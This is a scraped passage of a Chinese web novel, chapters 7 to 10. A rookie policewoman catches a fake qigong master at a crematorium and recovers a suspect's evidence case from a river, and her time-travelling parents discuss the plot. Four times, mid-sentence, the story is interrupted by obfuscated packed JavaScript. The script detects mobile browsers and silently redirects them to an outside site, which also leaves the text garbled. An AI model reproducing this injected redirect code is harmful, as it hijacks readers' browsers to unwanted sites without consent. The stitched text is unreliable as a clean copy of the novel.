“……您这套拳法真好看!” 树荫地里,季银河神情诚恳地向一位中年女工比出大拇指。 而后者正在表演跟着电视学来的套路,动作虎虎生风。 “这叫八段锦,能延年益寿,还能减肥呢!”江大姐做完收势,吐出口气,“不过丫头你看上去细条条的,不用减,要多吃点!” 季银河嘿嘿乐,“我也想强身健体嘛!姐,您之前是不是跟过那位张大师呀?” 提起张洪波,江大姐心里还是有些毛毛的,但女孩那声响亮清脆的“姐”叫得她心头格外甜,便坦诚道:“张大师之前在厂里搞气功班,我就去看了几回,但他不是升仙了嘛,警察说都是假把式,谁知道呢!老实说,我看还挺神的……对了!我还给他拍过照片!” 她转身拿起扔在花坛上的小牛皮包,一把从里面掏出个相册本,一张张翻给季银河看。 “正好我上午才拿去照相馆洗出来……你看,这几张我拍得好不好?” 江大姐一一炫耀着自己的杰作,季银河眉心却不动声色地拧起来。 那几张张洪波和信徒们的合影上,都出现了一个穿着破烂、有点面生的男人。 季银河很确定,这不是压缩机厂的工人,更不是老刘。 “姐,他们都是张大师的徒弟吗?” 江大姐眯眼辨认,“唔,别人都是,这个我不确定……没见他跟我们一起练过功,每次来也不说话。” 季银河试探着问:“说不定是张大师请来的高人呢!” “这不可能!”江大姐哂笑一声,“哪个大师这么不讲究啊!……啊对,他有次穿了件工服来找张大师,上面还涂着火葬场三个字,大家都嫌晦气!” 季银河脑子里轰的一下。 ——是啊,火葬场!怎么漏了火葬场! 张春波遗体曾被冷冻过,也就是说他被送往火葬场后并没有被及时火化,而是被保存了下来。 这就意味着张洪波在火葬场绝对有帮手! 而且那里距冷饮厂和压缩机厂都不远,寻常人还想不到……简直没有比这更适合藏身的地方了! 她心头怦怦直跳,面上还装作无事发生,和江大姐又随便聊了两句,赶忙找了个借口,匆匆跑出家属区。 一台大黑车忽地停在面前。 车窗降下,露出唐大队长严肃的脸。 “上车。” 季银河:“……” 她尴尬地抓抓额角,抱着钢筋锅爬上副驾。 唐辞嫌弃地抓起锅丢到后座,“扮什么不好扮那些装神弄鬼的!小心我回去跟饶局打报告!” “唐队,您大人有大量,饶了我吧……” 季银河知道这次是她没守规矩擅自行动,因此无力争辩道:“我就是换个方式摸排走访,想让大家尽快破案嘛。” 唐辞叹了口气,“都问出什么来了?” “有有有!重要线索!” 季银河眼光发亮,把从江大姐那里打听到的重述了一遍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669971|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐辞面色凝重起来。 “走!” 大吉普在尘土飞扬的马路上掉了个头,直奔火葬场而去。 * 江潭习俗,出殡在早上进行。 这会儿临近中午,大铁栅栏半掩,里面静悄悄的,连门卫都把扇子搁在脸上打瞌睡。 唐辞把车停在外面,两人就这么大摇大摆走进去,一路竟没有任何阻拦。 也不怪张洪波轻敌,毕竟正常人都对这里避之不及。 绕过前面的小花园,殡仪厅是幢二层小楼,后面一排平房则是办公室、停尸房、火化房和仓库。 逡巡一圈,大多屋子正面门窗紧闭。 唐辞摸出警棍,让季银河跟紧他,悄无声息绕到后方。 火化房有扇窗开了一半,从外面望去,能看见一个男人坐在冰棺边的凳子上,正捧着铝盒大口大口吃午饭。 季银河:“……”胃口真好啊。 她见过照片,在他抬头的间隙立刻认了出来,立刻低声告诉唐辞,“他就是张洪波的同伙。” 唐辞点了下头,一脚踢开门冲了进去,大吼:“警察!不许动!” 那人吓了一跳,饭盒掉在地上,肉菜洒了一地。 “叫什么名字?”唐辞问。 那人“啊啊啊啊”了半天,张开嘴指了指自己的舌头。 短了半截,原来是个哑巴! 他说不了话,但能听懂,态度也挺配合。唐辞拿警棍指着他,示意季银河把火化房上下搜一遍。 小季同志立刻手忙脚乱地开始翻箱倒柜,不过用老季同志的话来说,她今天“欧气十足”,刚打开桌下的第一个抽屉,就掉下来一个重要证据—— “是他的记账本!”季银河把纸页翻得哗哗响,“十天前他收到了两千块,后面还有个括号,写了张洪波的名字!” 唐辞一把揪住哑巴的衣领,厉声:“张洪波在哪里?” “啊啊啊啊——!” 虽然不能说话,但他还是心虚地往仓库方向瞟去一眼。 季银河已经一马当先地冲了过去。 唐辞拿手铐把人锁在火化房,也跟了过来。 “哑巴会不会骗我们?” 他跑得气喘吁吁,没意识到自己身为队长,却正在征求一个新人警察的意见。 “不会。”季银河很确定,“他们纯粹是金钱往来,不像老刘还讲义气。而且哑巴可不傻,他账本里一笔一笔记得清楚得很,这种人最精明了,没必要为了萍水之交骗警察。” 分析得有条有理,唐辞不由嗯了声,向前迈出一步,挡在季银河身前。 仓库里黑洞洞的,一间连着一间,堆满了废弃的桌椅、棺木耗材、殡葬用品、寿衣寿鞋。 即便是盛夏,也有种惊悚阴凉的气氛,不像是活人能住的样子。 季银河心里有些犯嘀咕,难不成哑巴真的骗了他们? 两人尝试着往里面走了几步,光线越来越暗。唐辞停步,摸摸口袋,回头说:“没带手电,我去找蜡烛,你就在这等我,别往里面去了。” 他把警棍往她手里一塞,向外走去。 季银河站在凉飕飕的仓库里,跺跺脚还能听到回声。 她倒没感觉害怕,甚至有点兴奋,不想错过这个独自找嫌疑人的机会。 可是没有手电筒,就这么摸黑吗? 胆大热血的小季警察在原地琢磨两秒,忽然想起昨天抓到老刘时,不小心按了五折叠的某个按键,弄出一道雪亮的光! ……这不就是现成的手电筒吗? 她立刻将包里沉甸甸的玩意摸出来,打开灯光,照向角落。 没想到光柱在灰尘乱飘的空气里一扫,正照出一张惊恐的脸,紧接着丁零当啷一阵乱响,一张圆滚滚的身子从废弃桌椅中爬了出来。 靠,是张洪波——! 季银河顿时握紧警棍,拔脚追了上去! 8. 第 8 章 张洪波虽然长得胖,但身体相当灵活,仗着对地形熟悉,很快就消失在仓库转角处的黑暗里。 地面上堆满了不知道放了多少年的破烂玩意,蜘蛛乱爬,灰大得迷眼。 季银河把五折叠插在衬衣胸前的口袋上,双手握紧警棍,忍住想咳嗽的冲动,放轻步子往前走。 经过一段狭窄通道,前方更加阴暗,一开始还能听见张洪波慌张的脚步声。 ……很快,连那点声音也消失了。 仓库内安静得可怕。 季银河停下脚步,让灯光仔仔细细照过去。 她已经走到了这层楼的尽头,面前有两道楼梯,一道向上,一道向下。 下面安安静静,上方却隐约传出响动。 是留在这里等唐辞,还是追上去呢? 就在季银河犹豫的这一瞬,楼梯上突然一声“咣当”震响! 她抬起头看去,脸色微变,急速缩小的瞳孔上倒映出一点橙红—— 火苗包裹着几个假人模特,顺着楼梯当啷当啷地滚了下来。 看上去像烧着的活人摔落,相当惊悚! 很显然,张洪波点燃了假人模特身上的寿衣,以此逼退她。 火苗很快就顺着角落的纸箱木架开始蔓延,热浪裹着黑烟扑面袭来,挂在墙上的消防警报器开始嘶叫,像被掐住脖子的公鸡。 也不知道唐辞人在哪儿,有没有听见动静,季银河跳着脚往后退了几步,扶着后墙,终于找到一个站立的位置。 她把五折叠塞进包里,用胳膊挡住口鼻,大叫一声:“警察!” “……!” 楼梯上,那道圆滚滚的身影在浓烟里晃了晃,停下动作。 这里太热了,季银河感觉粘腻的汗水顺着额头流进眼里,视线模糊不清。 “张洪波,我们已经知道你弟弟的死因了,你在那儿别动,我去找人灭火,你跟我们回警局!” 张洪波大声咳嗽,只反复问一句:“李国萍呢?你们抓到李国萍了吗?” “在抓了!”季银河努力拖延时间,小步挪向墙边,瞳孔紧压成一线。 “你跟我们回去,交代事情经过,我们才能还原你弟弟死亡的真相!” 借着火光的映照,她看见地上有个沙箱,上面写着“消防”两个大字。 “你们不配提我弟!”张洪波撕心裂肺地叫了声,“派出所根本不听我的解释,电机明明被人动了手脚——” “砰!”一声巨响,电光火石之间,季银河吐出一口炙热的气,拖着消防沙箱冲了上去! 扬起的河沙混着灰尘,眨眼就扑灭了假人模特上的火星。 张洪波狠狠骂了声国粹,扭身继续向上跑,但他的胖短腿根本抵不过季银河一步能跨四个台阶的大长腿. 很快就被身手了得的小季警察揪住衣领,按在楼梯转弯处的墙角。 “咚——!” 结实的警棍直击膝窝。 “我xxx!!!” 张洪波吃痛,大叫一声,圆滚滚的身体在扭曲挣扎。 “省点力气吧张大师,你现在要加上纵火和损坏公物的罪名了,难道还想再添条袭警?”季银河呼出口气,喘了两秒。 第一次独自抓到嫌疑人,她还有点懵,在脑中徐徐回忆工作手册上的流程。 好在队长高大的身影终于出现,一把冲上来—— “季银河!” 唐辞双手死死掐住张洪波肩头,大吼一声,声音气得发抖,“为什么不在原地等我,入职时没人教过你不要擅自行动吗?万一他有凶器怎么办?!” “没人教我,我上班第一天就直接被饶局叫去行政办了。”跌坐在一边的小季同志嘿嘿尬笑,举起警棍,“再说,我不是有这个嘛。” 唐辞:“……” “要是知道你这么不守纪律,我绝不会同意你来重案一队!”他从鼻腔重重出了口气,“回去把手册全背了,考核通过才准上一线,要不滚……写一辈子材料去!” “好好好。”季银河也不生气,“可是唐队,我好不容易发现了嫌疑人,等您回来,他早都跑出去了……换成是您,能在原地干看着吗?” 她低声咕哝:“而且您不过来,我也能一个人把他抓住。” 唐辞噎住,视线低垂,扫过她还揪在张洪波衣领上的手。 ——指缝里全是黑灰和血渍。 “……受伤了吗?” “没有。”季银河低头检查了一下,只有手背上有一点擦伤。 被压在地上的张洪波还企图负隅顽抗。 “抓我干什么,我又没杀人,你们警察是非不分,放任李国萍——” 唐辞伸手往背后一摸,却摸了个空。 这才想起,他的手铐刚才已经用来铐火化工了。 “我带了我带了!”季银河赶紧眨巴着眼,将东西掏出来双手奉上。 唐辞瞥她一眼,利索地将张洪波双手铐起来,“东西带得还挺齐全。” 虽然火灭了,但仓库里空气呛人,地上还有假人模特的灰烬,实在不宜久待。 唐辞让季银河在前面开路,自己押着张洪波,循原路走出仓库。 外面的空地上,被滚滚浓烟和警报声惊醒的保安匆忙赶到现场。 “市局办案。”唐辞出示了警察证,一脸焦急,“哪里有电话?” 其实他刚才寻找蜡烛时,BP机忽然响个不停,连着收到三条小伍发来的紧急代码,这才耽搁了一会。 “啊领导,这边这边!”保安慌张地把一身烟灰的三人引进最近的办公室。 唐辞把张洪波铐在暖气管上,示意季银河去洗把脸,然后拨下重案一队办公室的号码。 接电话的是留守的叶晴。 “唐队,小伍留言说交警找到李国萍了,在鲁港码头,正准备跑。”要事当前,她难得用飞快的语速大声说话,“车副和程漠也赶过去了!” 唐辞立刻放下话筒,霍然起身。 “带上张洪波,出发!” * 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669972|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洪波装大师装上瘾了,一路叽叽喳喳兴奋不已,谢天谢地谢祖师爷保佑,就是不感谢成功阻拦李国萍的刑警。 季银河全程捂住耳朵,恨不得把钢筋锅扣在他头上。 唐辞也烦躁极了,拧紧眉头猛踩油门,把大吉普开到一百二十码,终于成功在十五分钟内抵达鲁港码头。 下了车,一蓬滚烫的、混着柴油味的风迎面扑来。 鲁港是江潭最繁华的码头,聚集此处的人又多又杂。 警戒线外围着不少群众,还有几个人扛着相机,明显是记者。 眼下刚过正午,烈日灼心,地面烫得能煎鸡蛋,李国萍就坐在甲板上,怀里抱着一个小黑皮箱,一脸愤恨地盯着在场众警察。 小伍他们到得早,看见狼狈的唐辞和季银河吓了一条。 “唐队,你们怎么……” 唐辞没说话,指了指吉普车里的张洪波。 小伍看见后座上有个咧嘴哈哈大笑的人影,姿态夸张,很有种大仇得报的癫狂。 季银河言简意赅:“我们在火葬场抓到了张洪波。” 小伍咽了口唾沫,收起那副“还以为你们爬进了火化炉”的表情,转而兴奋地攥紧拳头。 “太好了!那我们今天是不是能结案了?” 唐辞摇了摇头,从警车里拿副手铐,抬步登上甲板。 季银河盯了两秒,也默不作声地跟上去。 “李国萍,跟我们回市局吧。”唐辞朗声道。 “我不知道你在说什么。”李国萍抬起头,笑了声,“我出门旅游,不行吗?凭什么不让我离开?” 她是个漂亮的中年女人,搞销售出身,保养得当,看上去不过四十出头,穿昂贵时髦的亚麻西装,涂明艳的红色唇膏,头发烫了羊毛小卷,瀑布一样披在身后,闪闪发亮。 不过这两天的躲藏,还是让她眼底现出一丝疲惫的痕迹。 美人展颜,唐辞却并不为所动,“你涉嫌杀害压缩机厂电工张春波,我们已经掌握证据了,箱子里装的什么,证物吗?” 李国萍没说话,幽幽叹了口气。 盛夏阳光倒映在波光粼粼的江面,货轮的影子在热浪里扭曲摇晃,像一张没对好焦的老照片。 “我本来今天中午就能离开江潭了,没想到还是被你们警察捷足先登。”她扬了扬下巴,颇有风姿地站起身,“就差一点点……” “因为我们站在正义这边。”唐辞走过去,打开手铐,正要铐向那双养尊处优的手—— 然而李国萍却趁唐辞不备,忽然胳膊一扬,用尽全身力气,将怀里的小黑皮箱急速扔了出去! 所有人都愣住了,没人想到在这个关头了,她竟还企图销毁证据! 来不及眨眼,只听“噗通”一声,皮箱已经落入江面。 紧接着,又是“噗通”一声! 一道人影高高跃起,毫不犹豫地从甲板上跳下,砸向水面,溅起层层叠叠的浪花。 岸上众人齐齐惊呼: “季银河——!” 9. 第 9 章 其实从下车的第一眼起,季银河就觉得李国萍的姿势不大对劲。 明明人都已经被警察包围,逃不出去了,但她还死死地抱着那个行李箱。 ——就好像里面装着她最宝贵的东西似的。 在唐辞和李国萍说话时,季银河的视线全程都没有离开过她的双手。 因此能在第一时间反应过来,没有一丝犹豫,追随着皮箱落水的位置钻入水面。 江水被晒得发烫,混着柴油,有点刺眼,但她闭紧双目,伸着长长的胳膊往水下摸索。 然后就摸到了那个硬梆梆的长方体—— “拿到了!” 季银河从水面探出身,甩了甩脑袋,把行李箱高高举起。 天光照在她湿润微红的脸颊上,仿佛闪着宝石一样的光。 岸上静了两秒,只听小伍激动高喊:“啊啊啊啊!!!” 周遭响起一片巨大的掌声和快门声,一群人争先恐后涌到岸边,在水警的帮助下,小伍和程漠很快向浮在江面的季银河抛去绳索。 与此同时,唐辞也将金属手铐环叩到了李国萍腕上。 季银河跳上岸,抹去脸上飞速下滑的水珠。 她视线还有点模糊,却隐约看见被推搡着走下甲板的李国萍脚步顿了一下。 衣着华丽的女总经理仰头望向盛夏湛蓝的天穹,露出了一个绝望的微笑。 * 十分钟后,勇猛的小季警察谢绝记者采访,坐进大吉普里,抓着毛巾缓缓擦拭头发。 “李国萍的皮箱里装有现金、护照、金条,还有一笔虚假增值税发票,金额高达180万元。”唐辞跳上主驾,发动汽车,微笑道,“还真是钱,你猜对了。” 季银河停下动作,摸了摸鼻子。 她还没那么神,这一切都得归功于老季同志和连女士开的天眼…… “李国萍人呢?” “和张洪波一起关在程漠车上。”唐辞示意她看那边的桑塔纳。 隔着车窗玻璃,李国萍垂着头,面无表情地窝在座位上,旁边的张洪波神情激动,又哭又笑——即便什么都听不见,也能猜到他骂得相当难听。 而驾驶座上的程漠虽然依旧沉默,头上的毛也像刺猬般炸了起来。 “哈哈哈哈哈!” 季银河发出了两天来的第一声爆笑。 几台警车呼啸着驶出鲁港码头,压缩机厂气功大师登仙案总算结束了初步侦查工作。 “接下来是不是要审讯了?” 季银河还挺好奇张家兄弟和李国萍的恩怨情仇的。 尤其是那个好不容易爬上高位的女人,为什么会走上经济犯罪的道路。 被逮捕时,又为什么会露出那种绝望的微笑。 唐辞嗯了声,“饶局催得紧,我和程漠先预审,连夜突击,尽快把材料整理出来,移交检察院。” 季银河撩了把额前的碎发,感觉兴奋的血液不停涌向大脑,“我可以旁听吗?” 唐辞看眼手表,“快下班了,你还是先回家吧,好好休整一下,李国萍杀张春波案证据链不全,明天还有得忙。” “好吧……”季银河也觉得自己眼下形象还比较狼狈,“那您把我放警局就行,我可以骑车——” “我开车方便,直接送你回去。”唐辞握着方向盘目视前方,忽然漫不经心地跳出一句,“住哪?” “……荷叶街梅清苑。” 季银河把半干的后腰贴向椅背,忽然有点儿紧张。 怎么感觉队长有话要跟她说…… 果然,一阵沉默过后,唐辞开口了: “小季,我看过你在警校的成绩单,很优秀,是不可多得的刑侦人才,现在市局案子虽然少,但是重案队素质良莠不齐,论专业素质、直觉天赋,你比小伍程漠甚至老车都高出一截。” 季银河轻轻吸了口气,“……但是?” “但是,你的资历还太浅了。”唐辞眉目平静,“我了解,你作为一个新人,一个刚毕业不久,还在实习期的警察,对刑侦事业充满热情,会忍不住主观臆断一些内容,鲁莽行动,不听上级指挥……比如有线人线索却不报备,突然出现在案发现场,比如不按照流程走访,而是混入群众套话,比如一个人去抓嫌疑人,一个人跳水捞证物——” “如果我把这些写在报告里,如实禀告饶局,你觉得他会不会拉你回去继续写材料?” “……” 车厢内一片安静,季银河默不作声,唇线绷紧。 她知道有些事她确实做得激进了些,可是规矩是死的,人是活的,如果什么事都按照既定流程,那现在李国萍人都要出江潭了。 再说,她虽然行事出格,但每一次都把问题给解决了,并没有落人口舌。 “说话。”唐辞瞥了她一眼,语气严厉,“平常不是挺能说吗?” 季银河咬住下唇,挺直腰板。 搁平常,哪怕是饶局,她说不定都敢反驳两句。 但唐辞毕竟是队长,谁她的直属上司,县官不如现管,她又人微言轻还在实习期,把他得罪了,往后就别想在江潭破案,献身崇高的人民公安事业,继而实现她伟大的人生理想了。 “嗯。”季银河同志终于蚊子哼般吐出句,“我的错,下次注意。” 大吉普驶进热闹的江潭市区,炽热明亮的阳光照着四牌楼天桥,红灯亮起,唐辞踩下刹车,长长叹了口气。 “前几天我去省厅参加培训,专家们说,国家现在把社会治安管理工作看得很重要,83年严打过后,上面愈发要求对刑事侦查进行系统深入的研究,形成科学合理严谨的工作体系……这也就意味着,未来刑警工作可不能瞎推理,每个线索必须脚踏实地,人证物证口供俱全,才能最后定论。” 他语重心长地说:“我看见了你在黑板上梳理的线索,但猜测占了大多数……小季,查案不是靠做梦,证据链才是铁道理,我说的,你都明白了吗?” “……明白了。”季银河试探着问,“所以唐队,我还能继续办案,对吧?” “……” 唐辞将车停在梅清苑小区门口,露出一个哭笑不得的神情。 “对,好不容易招来一个专业人才,不让你办案,还能让谁?去吧,小季同志。” * 虽然挨了顿敲打,但有了唐大队长最后这句话,季银河悬着的心总算落了下来。 她蹦蹦跳跳进了小区,语调悠扬地跟坐在门口剥毛豆的陈妈和花坛边看报纸的吴叔打了招呼。 刚走到单元楼下,就看见三楼窗户大开。 老季探了个脑袋出来,一边吃瓜子,一边一脸八卦地看着她。 季银河若有所思地眯起眼睛,不知道亲爱的老爹又要给她什么惊喜。 果然一进家门,季建国同志已经在玄关站成了一个欢迎的姿势。 “欢迎光~临~啊不对!欢迎回~家~” 老季的鼻子在空中翕动了两下,忽然转为嫌弃,“怎么这么臭这么脏,你掉粪坑啦?” “……”季银河一脸无奈解释,“爸,我今天破了桩命案!为了抓人,在火葬场和嫌疑人浴火奋战!还跳到江里捞证物和赃款,很多人给我鼓掌的好吗?” “喔真厉害!”季建国捏起鼻子矫情地扇风,“那我给你鼓鼓掌好伐?” 季银河就知道从老爹这里听不到什么夸奖,也懒得争辩,换了鞋,松懈着疲惫的后肩四处张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669973|173110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望,“我妈呢?” “今天又和讹钱的客人吵了一架,耽误了研发新菜的进度……十分钟前给我打电话了,说晚半小时回来。” 季建国往沙发上一坐,指挥女儿,“趁你妈还没回来,赶紧去洗澡,不要臭到我老婆!” “……” 惨遭嫌弃的小季同志拿了干净睡衣走进浴室,彻彻底底将身上的污渍刷洗干净,还把脏衣服一股脑儿都丢进洗衣机。 走出浴室,果然觉得神清气爽了不少。 连女士也回来了,正优雅地站在在厨房,处理她从小吃店打包回来的“新品”。 “今晚咱们吃延边牛肉汤饭配紫苏叶!”连翘看起来相当乐呵呵,全然不像跟人吵过架,“对了银河,我给你做的柳江大餐怎么样?” 季银河回想了下早上审讯室内外一众同事被臭晕了的表情,委婉道:“嗯,份量太小,只够一个人吃,他还……挺喜欢的。” 连翘得意地昂起下巴,“就说嘛,我的手艺从来不会有错!今天讹钱的那俩客人非说店里太臭,怀疑我们把厨房当厕所,不付钱就跑了!这种满嘴喷粪的人,就该被老娘打一顿!” 季建国、季银河:“……” 小季在餐桌边坐下,老季拿来开水烫过的碗筷,连女士端上一个硕大的不锈钢盆。 牛肉汤里加了辣椒粉,肉片硕大,香气浓郁,色泽鲜红,上面还撒着碧绿的葱圈和野苏子碎。 季银河大大咽了口唾沫,肚子咕咕地叫了起来。 “这得配饭吃。”连翘从电饭锅里舀了满满一大碗,堆得小山似的,推到她面前,“季警官辛苦了!” “好香!我妈手艺一级棒!” 季银河笑眯眯地尝了口鲜美的牛肉汤,一脸好奇地问:“妈,你去过延边还有柳江吗?怎么知道这些做法的?” 连翘和老季对视一眼。 身穿进这本书前,她是个网红美食探店博主,爱吃又爱琢磨,在五折叠上下载了许多食谱,靠着这些技能成功在年代文里发家。 但她该怎么解释呢? 从头说起的话,以女儿刚正直爽的性格,说不定以为父母被什么罪恶分子给洗脑了! 安静了两秒,老季打圆场道:“当然去过呀,在你出生前,我和你妈去很多地方旅游过!” 连翘说:“对!收集了很多地方美食的做法!” 小季同志点点头,那点半信半疑被老季端上来的辣味鸡爪打消。 夕阳渐落,将天空染成绚烂的粉金色,连翘打开电视,一家三口在新闻中其乐融融地吃起晚饭。 “……一直以来,江潭市公安局始终紧盯社会安全,严厉打击违法犯罪,今日,市局重案一队破获一起命案,抓获犯罪嫌疑人两名……” 屏幕上闪过一帧画面——季银河从水中托起行李箱,在众人的掌声中爬上岸。 “表现不错啊!”老季和连女士都放下碗筷,鼓起了掌。 “那当然!” 虽然从新闻上看,她上岸的样子还挺狼狈的,但小季警察还是一脸自豪地挺起胸膛。 电视上画面又一转,镜头对准了正在清点行李箱内物品的唐辞。 记者举着话筒一脸兴奋,“唐队长,可以和我们说说案情吗?” “不好意思,具体情况还不便告知。”唐辞不耐烦地说了声,转身就上了吉普车。 老季立刻八卦地嚯了一声,“这不就是今晚开车送银河回来的那个人吗?是你们队长啊?长得还挺高的呀!” 季银河听着新闻想起今晚的预审,便心不在焉地嗯了声。 自然没留意到,坐在对面的连翘看看电视上的唐辞,又看看心猿意马的女儿,眼底浮上了一层忧色。 10. 第 10 章 “啪!” 连翘拉灭顶灯,看了眼陷入梦境的女儿,轻轻阖上房门,然后走到五斗柜边,摸出一条与时代风格相当不符的数据线,给五折叠手机接上电源。 季建国关闭电视,从沙发上站起身,低声问:“睡了?” “睡了。”连翘有点心疼,“上班累坏了。” “别管孩子了,她有自己的人生!”季建国凑过来,“老婆,我今天在单位练了胸,你要不要试试手感?” 他伸手揽住那段细腰,甜甜蜜蜜地往她脸上吧唧一口。 然后收到了连女士一个毫不手软的爆栗。 “哎呀!”老季同志眨巴着眼,伤心地捂住脑袋,“银河都睡着了,又看不见……” “窗帘没拉呢!” 外面霓虹闪烁,把客厅照得一片明晃晃,要是对面楼有好事者朝这边眺望,第二天一早,小区里就能传起街道办季科长和连老板结婚二十余年依然恩爱和谐的八卦。 季建国拍了下大腿,立刻一路小跑着从善如流地解决掉一切可能的隐患。 得到妻子满意的眼神后,才打横将她抱起,踢开主卧的房门。 …… 挂钟分针走了大半圈,连女士横卧在丈夫的腹肌上,心满意足地喘着粗气。 鬓角的湿发被人捋了捋,耳边传来建国同志慵懒的声音:“老婆大人,我的服务您还满意吗?” “谢谢师傅,五星好评!” 连翘伸出食指,调皮地戳了戳下方软弹的胸肌。 当初要不是被某人这副唇红齿白的俊俏模样吸引,她也不会出手帮忙,就更不会发现原来他和自己一样,都是从21世纪的华国穿过来的倒霉蛋。 不同点是,季建国来自2025年,魂穿进某点龙傲天文《江城风云:实业为王》,角色是奸猾男配。 而她来自2030年,成了绿江年代文《七零之走失的真千金回来了》的路人甲女配,因为是身穿,所以口袋里的最新款手机五折叠也没消失。 老乡见老乡,相逢都是缘。为了摆脱原主命运,离开两本书作天作地无所不能的男女主角,两人结成临时同盟,建立起革命友谊。 理所当然的,友情也随着时间发生了质的改变…… 完成终极任务当晚,他们在季建国宿舍里滚了床单。第二天一早,直奔街道打介绍信领证。 三个月后的清晨,连翘女士发出第一声孕吐。 就这样,两位穿书者喜结连理,组建家庭,连各自的系统也有二十多年没再出现过了。 事后聊起来,虽然彼此都觉得男频文和女频文同时融合在一个世界有点怪。但是穿书这种事都发生了,好像也没什么较真的必要。 季银河出生后,两人也商量过,要不要把这是个书中世界的真相告诉她。 但当时正值十年特殊时期。季建国和连翘思虑再三,决定暂时将这件事守口如瓶,给她一个正常的、不脱离时代的成长环境。 这么一瞒,就过去了21年。 社会风气早就宽松起来,只是日子已经过成习惯,这么维持下去似乎也不错,竟一直没找到开口的时机。 两人靠着穿书金手指和现代人的思想,把日子过得和和美美,小富即安,还培养出了一个单纯正直一门心思破案抓坏人的警察女儿。 想到这儿,连翘翻了个身,戳了戳丈夫人到中年却依然壮实饱满的胸膛。 “你说,压缩机厂这案子的真凶到底是谁啊?” “我也不知道,原文就提了一句,男主本想安排亲戚孩子去压缩机厂上班,没想到7月最后一天出了命案,不久之后厂子就解散了,他还挺庆幸的。” 连翘把那两块手感颇好的肌肉捏来捏去,幽幽叹气,“银河忙得这么昏天黑地,也不知道还要加几天班。” 季建国一把抓住她不老实的手,“孩子自己选的工作,我们做好支持就行了,没必要瞎操心。” “也是。”连翘若有所思,“但我还是觉得,得找个机会把一切都说明白……对了,今天晚间新闻里,那个重案一队队长,是不是姓唐?” 季建国想了想,“好像是。” 连翘腾地一下坐直身体,压低声音,“咱们想办法提醒银河,以后最好少跟他单独接触。” “怎么了?小伙子长得一表人才的……”季建国反应过来,“你那本书里还有他的剧情?” “嗯,他有个从小订下的未婚妻,是我那本书真千金女主的闺蜜,两人感情黏黏糊糊的,上演了各种你爱我时我不爱你,我爱你时你已离去的狗血梗。” “……”季建国深吸口气,“我看那些刑侦小说和电视剧里,身为警员的女主大多都会配一个刑侦队长男友,讲真的,要是银河喜欢,咱俩又知道剧情,就想办法帮他们争取呗。” “要是这么简单就好了。”连翘一脸严肃地说,“最关键的是,这个唐辞后来在一次突击行动中不幸挂了!我可不想要这么点背又短命的女婿……” 季建国倒吸一口气,“那银河是不是也挺危险?” 连翘打了个呵欠,“还有好几年呢!我心里有数,到时银河要还在重案一队,大不了事发当天把人锁在家里!自己家孩子好管,至于那个唐辞,咱们能帮就帮一把,实在不行,那就尊重他人命运吧……” * 季银河这一觉睡得格外沉,闹铃响了足足五遍,才从床上爬起来。 她连早饭都来不及吃,洗漱完换了衣服,给老季连女士丢下一句“走了啊”,就跑下楼跨上摩托车,直直冲向市局。 程漠抓着一根油条,站在市局门口的长台阶上边吃边活动脖颈,看见季银河充满期待的眼神,沉默着摇了摇头。 “李国萍不开口。”他叹了口气,“审了一夜,老唐还没吃东西,你去给他买俩包子吧。” “……”季银河迈向审讯室的脚尖硬生生换了个方向,“好。” 食堂可选不多,她要了四个肉包,两袋豆浆,一路小跑到审讯室。 隔着玻璃,唐辞看见走廊上冒出一个毛茸茸的脑袋,内心微微一动,带着微微弯起的唇角,起身开门。 “给,早饭。”季银河把包子往他手里一塞,叼着豆浆向里间张望,“老车也在?” “嗯,张洪波全都撂了,跟我们之前推测的差不多,就是为了给弟弟复仇,但是李国萍性子很坚韧,什么都不说,现在审讯早就不能动刑,也不能诱供欺骗,我们只好用车轮战术,半夜把车副队请过来了。” 唐辞咬着包子打量她片刻,忽然想起她用几饭盒“臭菜”引诱老刘招供的丰功伟绩。 “要不你……进去问问?” 季银河等他这句话等半天了,笑眯眯拍了拍手,走进内间。 审讯室里狭小闷热,车志文翘腿坐在椅子上,身上那件的确良衬衫皱皱巴巴,腋下冒出两团深色汗渍,熏得她往后一个趔趄,豆浆都喝不下去了。 “呦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 